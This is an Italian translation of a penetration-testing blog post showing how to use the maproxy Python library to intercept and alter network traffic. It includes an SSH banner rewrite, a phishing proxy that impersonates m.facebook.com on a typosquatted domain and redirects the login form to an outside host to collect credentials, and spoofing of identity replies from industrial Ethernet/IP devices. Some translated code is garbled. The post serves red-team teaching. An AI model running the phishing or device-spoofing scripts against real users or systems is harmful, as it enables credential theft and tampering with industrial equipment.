Elabora i dati di rete al volo

La traduzione dell'articolo è stata preparata alla vigilia dell'inizio del corso "Pentest. Pratica di test di penetrazione».

Elabora i dati di rete al volo

Astratto

Una varietà di tipi di valutazioni della sicurezza, che vanno dai normali test di penetrazione e operazioni Red Team all'hacking di dispositivi IoT/ICS e SCADA, implicano il lavoro con protocolli di rete binari, ovvero essenzialmente l'intercettazione e la modifica dei dati di rete tra il client e il bersaglio. Sniffare il traffico di rete non è un compito difficile poiché disponiamo di strumenti come Wireshark, Tcpdump o Scapy, ma la modifica sembra essere un compito più laborioso poiché avremo bisogno di un qualche tipo di interfaccia per leggere i dati di rete, filtrarli, modificare al volo e rimandarlo all'host di destinazione quasi in tempo reale. Inoltre, l’ideale sarebbe se tale strumento potesse funzionare automaticamente con più connessioni parallele ed essere personalizzabile tramite script.

Un giorno ho scoperto uno strumento chiamato maproxy, la documentazione me lo ha subito chiarito maproxy – proprio quello di cui ho bisogno. Questo è un proxy TCP abbastanza semplice, versatile e facilmente configurabile. Ho testato questo strumento su diverse applicazioni abbastanza complesse, inclusi i dispositivi ICS (che generano molti pacchetti) per vedere se poteva gestire molte connessioni parallele, e lo strumento ha funzionato bene.

Questo articolo ti introdurrà all'elaborazione dei dati di rete al volo utilizzando maproxy.

panoramica

Strumento maproxy è basato su Tornado, un popolare e maturo framework di rete asincrona in Python.

In generale, può funzionare in diverse modalità:

  • TCP:TCP – connessioni TCP non crittografate;
  • TCP:SSL и SSL:TCP – con crittografia unidirezionale;
  • SSL:SSL – crittografia bidirezionale.

Si presenta come una biblioteca. Per un avvio rapido, puoi utilizzare file di esempio che riflettono il file main funzioni della libreria:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Caso 1 – proxy bidirezionale semplice

Basato su tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Per impostazione predefinita ProxyServer() accetta due argomenti: la posizione della connessione e la porta di destinazione. server.listen() accetta un argomento: la porta per ascoltare la connessione in entrata.

Esecuzione dello script:

# python tcp2tcp.py

Per eseguire il test, ci collegheremo a un server SSH locale tramite il nostro script proxy, che è in ascolto 2222/tcp porta e si collega a una porta standard 22/tcp Server SSH:

Elabora i dati di rete al volo

Il banner di benvenuto ti informa che il nostro script di esempio ha eseguito correttamente il proxy del traffico di rete.

Caso 2 – modifica dei dati

Un altro script dimostrativo logging_proxy.py ideale per interagire con i dati di rete. I commenti nel file descrivono i metodi della classe che puoi modificare per raggiungere il tuo obiettivo:

Elabora i dati di rete al volo

La cosa più interessante è qui:

  • on_c2p_done_read – intercettare i dati lungo il percorso dal client al server;
  • on_p2s_done_read - invertito.

Proviamo a cambiare il banner SSH che il server restituisce al client:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Esegui lo script:

Elabora i dati di rete al volo

Come puoi vedere, il client è stato ingannato perché il nome del suo server SSH è stato cambiato in «DumnySSH».

Elabora i dati di rete al volo

Caso 3 – semplice pagina web di phishing

Esistono infiniti modi per utilizzare questo strumento. Questa volta concentriamoci su qualcosa di più pratico dal punto di vista operativo della Squadra Rossa. Imitiamo la pagina di destinazione m.facebook.com e utilizzare un dominio personalizzato con un errore di battitura intenzionale, ad esempio, m.facebok.com. A scopo dimostrativo, supponiamo che il dominio sia registrato da noi.

Stabiliremo una connessione di rete non crittografata con il proxy delle nostre vittime e il flusso SSL al server di Facebook (31.13.81.36). Per far funzionare questo esempio, dobbiamo sostituire l'intestazione dell'host HTTP e inserire il nome host corretto, inoltre disabiliteremo la compressione della risposta in modo da poter accedere facilmente ai contenuti. In definitiva sostituiremo il modulo HTML in modo che le credenziali di accesso vengano inviate a noi invece che ai server di Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/it/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

In sintesi:

Elabora i dati di rete al volo

Come puoi vedere, siamo riusciti a sostituire con successo il sito originale.

Caso 4 – Portabilità Ethernet/IP

Da diverso tempo mi occupo di dispositivi e software industriali (ICS/SCADA), come controllori programmabili (PLC), moduli I/O, azionamenti, relè, ambienti di programmazione ladder e molti altri. Questo caso è per coloro che amano le cose industriali. L'hacking di tali soluzioni implica giocare attivamente con i protocolli di rete. Nell'esempio seguente vorrei mostrare come modificare il traffico di rete ICS/SCADA.

Per fare ciò, è necessario quanto segue:

  • Sniffer di rete, ad esempio Wireshark;
  • Ethernet/IP o semplicemente un dispositivo SIP, puoi trovarlo utilizzando il servizio Shodan;
  • La nostra sceneggiatura è basata su maproxy.

Per prima cosa, diamo un'occhiata a come si presenta una tipica risposta di identificazione da CIP (Common Industrial Protocol):

Elabora i dati di rete al volo

L'identificazione del dispositivo viene eseguita utilizzando il protocollo Ethernet/IP, che è una versione migliorata del protocollo Ethernet industriale che racchiude protocolli di controllo come CIP. Cambieremo il nome ID evidenziato che è visibile nello screenshot "NI-IndComm per Ethernet" utilizzando il nostro script proxy. Potremmo riutilizzare la sceneggiatura logging_proxy.py e allo stesso modo modificare il metodo della classe on_p2s_done_read, perché vogliamo che sul client sia visibile un nome di identità diverso.

Codice:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

In sostanza, abbiamo chiesto due volte l'identificazione del dispositivo, la seconda risposta era quella originale e la prima è stata modificata al volo.

E l'ultimo

A mio parere maproxy Uno strumento comodo e semplice, scritto anche in Python, quindi credo che anche tu possa trarre vantaggio dal suo utilizzo. Naturalmente esistono strumenti più complessi per l'elaborazione e la modifica dei dati di rete, ma richiedono anche maggiore attenzione e di solito vengono creati per un caso d'uso specifico, ad es. muraena, Modlishka o evilginx per casi simili al terzo, o canapè per l'ultimo caso. In un modo o nell'altro, con l'aiuto maproxy puoi implementare rapidamente le tue idee per intercettare i dati di rete, poiché gli script di esempio sono molto chiari.

Testare i meccanismi di autenticazione in Windows AD

Fonte: habr.com

Aggiungi un commento